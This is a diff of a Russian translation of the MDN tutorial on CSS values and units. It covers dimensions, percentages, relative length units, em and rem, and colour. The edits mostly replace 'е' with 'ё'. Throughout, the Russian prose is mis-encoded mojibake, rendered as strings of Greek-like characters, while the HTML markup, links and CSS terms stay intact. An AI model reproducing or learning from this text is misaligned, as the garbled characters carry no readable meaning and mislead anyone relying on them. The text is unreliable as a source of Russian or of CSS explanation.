+ <p><code>&lt;dimension&gt;</code> (ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅) это — <code>&lt;number&gt;</code> (число) с Π΅Π΄ΠΈΠ½ΠΈΡ†Π΅ΠΉ измСрСния, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½ΠΎΠΉ ΠΊ Π½Π΅ΠΌΡƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>45deg</code>, <code>5s</code>, ΠΈΠ»ΠΈ <code>10px</code>. <code>&lt;dimension&gt;</code> β€” это Π·ΠΎΠ½Ρ‚ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… Π² сСбя Ρ‚ΠΈΠΏΡ‹ <code><a href="/en-US/docs/Web/CSS/length">&lt;length&gt;</a></code>, <code><a href="/en-US/docs/Web/CSS/angle">&lt;angle&gt;</a></code>, <code><a href="/en-US/docs/Web/CSS/time">&lt;time&gt;</a></code>, ΠΈ <code><a href="/en-US/docs/Web/CSS/resolution">&lt;resolution&gt;</a></code><a href="/en-US/docs/Web/CSS/resolution"> </a>(Π΄Π»ΠΈΠ½Π°, ΡƒΠ³ΠΎΠ», врСмя ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅)<a href="/en-US/docs/Web/CSS/resolution">. </a></p>
</td>
</tr>
<tr>
<td><code><a href="/en-US/docs/Web/CSS/percentage">&lt;percentage&gt;</a></code></td>
<td>
- <p><code>&lt;percentage&gt;</code> (ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹) ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой долю Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ значСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>50%</code>. ΠŸΡ€ΠΎΡ†Π΅Π½Ρ‚Π½Ρ‹Π΅ значСния всСгда ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ количСству, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄Π»ΠΈΠ½Π° элСмСнта ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Π° ΠΊ Π΄Π»ΠΈΠ½Π΅ Π΅Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта.</p>
+ <p><code>&lt;percentage&gt;</code> (ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹) ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой долю Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ значСния, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>50%</code>. ΠŸΡ€ΠΎΡ†Π΅Π½Ρ‚Π½Ρ‹Π΅ значСния всСгда ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΏΠΎ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡŽ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ количСству, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΄Π»ΠΈΠ½Π° элСмСнта ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Π° ΠΊ Π΄Π»ΠΈΠ½Π΅ Π΅Ρ‘ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта.</p>
</td>
</tr>
</tbody>
@@ -140,7 +140,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<h4 id="Π•Π΄ΠΈΠ½ΠΈΡ†Ρ‹_ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ_Π΄Π»ΠΈΠ½Ρ‹">Π•Π΄ΠΈΠ½ΠΈΡ†Ρ‹ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹</h4>
-<p>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π΄Π»ΠΈΠ½ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊ Ρ‡Π΅ΠΌΡƒ-Ρ‚ΠΎ Π΅Ρ‰Π΅, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ»ΠΈ ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ ΠΎΠΊΠ½Π° просмотра. ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²ΠΎ использования ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π΅Π΄ΠΈΠ½ΠΈΡ† состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€ тСкста ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π»ΡΡ <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ всСго ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½Π° страницС.</span></span> НСкоторыС Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ пСрСчислСны Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π½ΠΈΠΆΠ΅.</p>
+<p>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π΄Π»ΠΈΠ½ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΊ Ρ‡Π΅ΠΌΡƒ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ»ΠΈ ΠΊ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ ΠΎΠΊΠ½Π° просмотра. ΠŸΡ€Π΅ΠΈΠΌΡƒΡ‰Π΅ΡΡ‚Π²ΠΎ использования ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π΅Π΄ΠΈΠ½ΠΈΡ† состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ Ρ‚Ρ‰Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ€ тСкста ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π»ΡΡ <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ всСго ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π½Π° страницС.</span></span> НСкоторыС Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ пСрСчислСны Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ Π½ΠΈΠΆΠ΅.</p>
<table class="standard-table">
<thead>
@@ -191,7 +191,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<h4 id="Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π½Π°_ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅">Π˜Π·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</h4>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π΄Π»ΠΈΠ½ Π²Π΅Π΄ΡƒΡ‚ сСбя. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ {{cssxref("width")}} (ΡˆΠΈΡ€ΠΈΠ½Ρƒ) ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Π² пиксСлях. Как Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Π°Ρ Π΅Π΄ΠΈΠ½ΠΈΡ†Π° эта ΡˆΠΈΡ€ΠΈΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ Π½Π΅Π²Π°ΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎ Π΅Ρ‰Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ Π΄Π»ΠΈΠ½ Π²Π΅Π΄ΡƒΡ‚ сСбя. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ {{cssxref("width")}} (ΡˆΠΈΡ€ΠΈΠ½Ρƒ) ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Π² пиксСлях. Как Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Π°Ρ Π΅Π΄ΠΈΠ½ΠΈΡ†Π° эта ΡˆΠΈΡ€ΠΈΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ Π½Π΅Π²Π°ΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ.</p>
<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π±Π»ΠΎΠΊ ΠΈΠΌΠ΅Π΅Ρ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ, ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½Π½ΡƒΡŽ Π² Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ… <code>vw</code> (ΡˆΠΈΡ€ΠΈΠ½Π° ΠΎΠΊΠ½Π° просмотра). Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ ΡˆΠΈΡ€ΠΈΠ½Π΅ ΠΎΠΊΠ½Π° просмотра ΠΈ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ 10vw это 10 ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚ΠΎΠ² ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΎΠΊΠ½Π° просмотра. Если Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΎΠΊΠ½Π° вашСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±Π»ΠΎΠΊΠ° Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ, ΠΎΠ΄Π½Π°ΠΊΠΎ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ встроСн Π² страницу с использованиСм <code><a href="/en-US/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code>, поэтому это Π½Π΅ сработаСт. Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это Π² дСйствии Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ <a href="https://mdn.github.io/css-examples/learn/values-units/length.html">ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>.</p>
@@ -203,7 +203,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<h4 id="em_ΠΈ_rem">em ΠΈ rem</h4>
-<p><code>em</code> ΠΈ <code>rem</code> β€” Π΄Π²Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π»ΠΈΠ½Ρ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ вСроятноС всСго ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π΅Ρ‚Π΅ΡΡŒ Ρ‡Π°Ρ‰Π΅ ΠΏΡ€ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ ΠΎΡ‚ Π±Π»ΠΎΠΊΠΎΠ² Π΄ΠΎ тСкста. Π‘Ρ‚ΠΎΠΈΡ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚, ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ, особСнно ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ Π±ΠΎΠ»Π΅Π΅ слоТным Ρ‚Π΅ΠΌΠ°ΠΌ ΠΊΠ°ΠΊ <a href="/en-US/docs/Learn/CSS/Styling_text">стилизация тСкста</a> ΠΈΠ»ΠΈ <a href="/en-US/docs/Learn/CSS/CSS_layout">Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° CSS</a>. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ это.</p>
+<p><code>em</code> ΠΈ <code>rem</code> β€” Π΄Π²Π΅ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π»ΠΈΠ½Ρ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ вСроятноС всСго ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π΅Ρ‚Π΅ΡΡŒ Ρ‡Π°Ρ‰Π΅ ΠΏΡ€ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ ΠΎΡ‚ Π±Π»ΠΎΠΊΠΎΠ² Π΄ΠΎ тСкста. Π‘Ρ‚ΠΎΠΈΡ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚, ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ различия ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ, особСнно ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΊ Π±ΠΎΠ»Π΅Π΅ слоТным Ρ‚Π΅ΠΌΠ°ΠΌ ΠΊΠ°ΠΊ <a href="/en-US/docs/Learn/CSS/Styling_text">стилизация тСкста</a> ΠΈΠ»ΠΈ <a href="/en-US/docs/Learn/CSS/CSS_layout">Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° CSS</a>. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ это.</p>
<p>HTML это Π½Π°Π±ΠΎΡ€ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… списков β€” Ρƒ нас имССтся Ρ‚Ρ€ΠΈ списка Π² ΠΎΠ±Ρ‰Π΅ΠΉ слоТности ΠΈ ΠΎΠ±Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΉ HTML. ЕдинствСнноС Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ класс <em>ems, </em>Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ класс <em>rems</em>.</p>
@@ -223,9 +223,9 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Π΄Π²Π° Π±Π»ΠΎΠΊΠ° с Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… ΠΈ Π΄Π²Π° с размСрами Π² пиксСлях ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° классов. Оба Π½Π°Π±ΠΎΡ€Π° ΠΈΠΌΠ΅ΡŽΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 200px ΠΈ 40% соотвСтствСнно.</p>
-<p>Π Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π½Π°Π±ΠΎΡ€ Π±Π»ΠΎΠΊΠΎΠ² находится Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ которая ΠΈΠΌΠ΅Π΅Ρ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 400 пиксСлСй. Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π±Π»ΠΎΠΊ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 200px ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Ρƒ ΠΆΠ΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ, Π½ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ 40 ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠΌΠ΅Π΅Ρ‚ 40% ΠΎΡ‚ 400px β€” Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΠΆΠ΅ Ρ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ.</p>
+<p>Π Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π½Π°Π±ΠΎΡ€ Π±Π»ΠΎΠΊΠΎΠ² находится Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ которая ΠΈΠΌΠ΅Π΅Ρ‚ ΡˆΠΈΡ€ΠΈΠ½Ρƒ 400 пиксСлСй. Π’Ρ‚ΠΎΡ€ΠΎΠΉ Π±Π»ΠΎΠΊ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 200px ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Ρƒ ΠΆΠ΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ, Π½ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ 40 ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠΌΠ΅Π΅Ρ‚ 40% ΠΎΡ‚ 400px β€” Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΠΆΠ΅ Ρ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ.</p>
-<p><strong>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ (.wrapper) ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</strong></p>
+<p><strong>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ (.wrapper) ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</strong></p>
<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}}Β </p>
@@ -251,7 +251,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units
<p>БущСствуСт ΠΌΠ½ΠΎΠ³ΠΎ способов опрСдСлСния Ρ†Π²Π΅Ρ‚Π° Π² CSS, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ довольно-Ρ‚Π°ΠΊΠΈ Π½Π΅Π΄Π°Π²Π½ΠΎ ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ. ΠžΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ значСния Ρ†Π²Π΅Ρ‚Π° ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π²Π΅Π·Π΄Π΅ Π² CSS, опрСдСляСтС Π»ΠΈ Π²Ρ‹ ΠΏΡ€ΠΈ этом Ρ†Π²Π΅Ρ‚ тСкста, Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈΠ»ΠΈ Ρ†Π²Π΅Ρ‚ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ Π΅Ρ‰Π΅.</p>
-<p>Бтандартная систСма Ρ†Π²Π΅Ρ‚ΠΎΠ² доступная Π² соврСмСнных ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°Ρ… β€” это 24-битная систСма, которая позволяСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΎΠΊΠΎΠ»ΠΎ 16.7 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ² Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… красных, Π·Π΅Π»Π΅Π½Ρ‹Ρ… ΠΈ синих 